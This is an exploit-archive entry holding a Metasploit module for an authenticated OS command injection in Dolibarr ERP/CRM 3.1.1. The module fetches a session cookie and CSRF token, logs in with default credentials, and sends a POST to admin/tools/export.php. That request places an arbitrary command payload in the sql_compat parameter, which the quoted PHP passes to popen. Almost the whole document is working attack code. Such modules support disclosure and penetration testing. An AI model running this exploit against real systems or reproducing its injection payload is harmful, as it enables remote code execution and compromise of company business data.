Dolibarr ERP & CRM 3 Post-Auth OS Command Injection

2012-04-09T00:00:00
ID 1337DAY-ID-18022
Type zdt
Reporter metasploit
Modified 2012-04-09T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::HttpClient
 
    def initialize(info={})
        super(update_info(info,
            'Name'           => "Dolibarr ERP & CRM 3 Post-Auth OS Command Injection",
            'Description'    => %q{
                    This module exploits a vulnerability found in Dolibarr ERP/CRM's
                backup feature.  This software is used to manage a company's business
                information such as contacts, invoices, orders, stocks, agenda, etc.
                When processing a database backup request, the export.php function
                does not check the input given to the sql_compat parameter, which allows
                a remote authenticated attacker to inject system commands into it,
                and then gain arbitrary code execution.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Nahuel Grisolia <nahuel[at]cintainfinita.com.ar>',  #Discovery, PoC
                    'sinn3r'  #Metasploit
                ],
            'References'     =>
                [
                    ['URL', 'http://seclists.org/fulldisclosure/2012/Apr/78']
                ],
            'Arch'            => ARCH_CMD,
            'Compat'          =>
                {
                    'PayloadType' => 'cmd'
                },
            'Platform'       => ['unix', 'linux'],
            'Targets'        =>
                [
                    # Older versions are probably also vulnerable according to
                    # Nahuel's report on full disclosure
                    ['Dolibarr 3.1.1 on Linux', {}]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Apr 6 2012",
            'DefaultTarget'  => 0))
 
            register_options(
                [
                    OptString.new('USERNAME',  [true, 'Dolibarr Username', 'admin']),
                    OptString.new('PASSWORD',  [true, 'Dolibarr Password', 'test']),
                    OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/dolibarr/'])
                ], self.class)
    end
 
    def check
        res = send_request_raw({
            'method' => 'GET',
            'uri'    => target_uri.path
        })
 
        if res.body =~ /Dolibarr 3\.1\.1/
            return Exploit::CheckCode::Appears
        else
            return Exploit::CheckCode::Safe
        end
    end
 
    def get_sid_token
        res = send_request_raw({
            'method' => 'GET',
            'uri'    => @uri.path
        })
 
        # Get the session ID from the cookie
        m = res.headers['Set-Cookie'].match(/(DOLSESSID_.+);/)
        id = (m.nil?) ? nil : m[1]
 
        # Get the token from the decompressed HTTP body response
        m = res.body.match(/type="hidden" name="token" value="(.+)"/)
        token = (m.nil?) ? nil : m[1]
 
        return id, token
    end
 
    def login(sid, token)
        res = send_request_cgi({
            'method'   => 'POST',
            'uri'      => "#{@uri.path}index.php",
            'cookie'   => sid,
            'vars_post' => {
                'token'         => token,
                'loginfunction' => 'loginfunction',
                'tz'            => '-6',
                'dst'           => '1',
                'screenwidth'   => '1093',
                'screenheight'  => '842',
                'username'      => datastore['USERNAME'],
                'password'      => datastore['PASSWORD']
            }
        })
 
        location = res.headers['Location']
        return (location =~ /admin\//)
    end
 
    def exploit
        @uri = target_uri
        @uri.path << "/" if @uri.path[-1, 1] != "/"
        peer = "#{rhost}:#{rport}"
 
        print_status("#{peer} - Getting the sid and token...")
        sid, token = get_sid_token
        if sid.nil?
            print_error("#{peer} - Unable to retrieve a session ID")
            return
        elsif token.nil?
            print_error("#{peer} - Unable to retrieve a token")
            return
        end
 
        user = datastore['USERNAME']
        pass = datastore['PASSWORD']
        print_status("#{peer} - Attempt to login with \"#{user}:#{pass}\"")
        success = login(sid, token)
        if not success
            print_error("#{peer} - Unable to login")
            return
        end
 
        print_status("#{peer} - Sending malicious request...")
        res = send_request_cgi({
            'method'    => 'POST',
            'uri'       => @uri.path + "admin/tools/export.php",
            'cookie'    => sid,
            'vars_post' => {
                'token'             => token,
                'export_type'       => 'server',
                'what'              => 'mysql',
                'mysqldump'         => '/usr/bin/mysqldump',
                'use_transaction'   => 'yes',
                'disable_fk'        => 'yes',
                'sql_compat'        => ";#{payload.encoded};",
                'sql_structure'     => 'structure',
                'drop'              => '1',
                'sql_data'          => 'data',
                'showcolumns'       => 'yes',
                'extended_ins'      => 'yes',
                'delayed'           => 'yes',
                'sql_ignore'        => 'yes',
                'hexforbinary'      => 'yes',
                'filename_template' => 'mysqldump_dolibarrdebian_3.1.1_201203231716.sql',
                'compression'       => 'none'
            }
        })
 
    end
end
 
=begin
Notes:
 
114    if ($_POST["sql_compat"] && $_POST["sql_compat"] != 'NONE') $param.=" --compatible=".$_POST["sql_compat"];
...
137    $paramcrypted=$param;
...
159    $fullcommandcrypted=$command." ".$paramcrypted." 2>&1";
...
165    if ($handle)
166    {
....
169    $handlein = popen($fullcommandclear, 'r');
....
185    }
=end



#  0day.today [2018-04-07]  #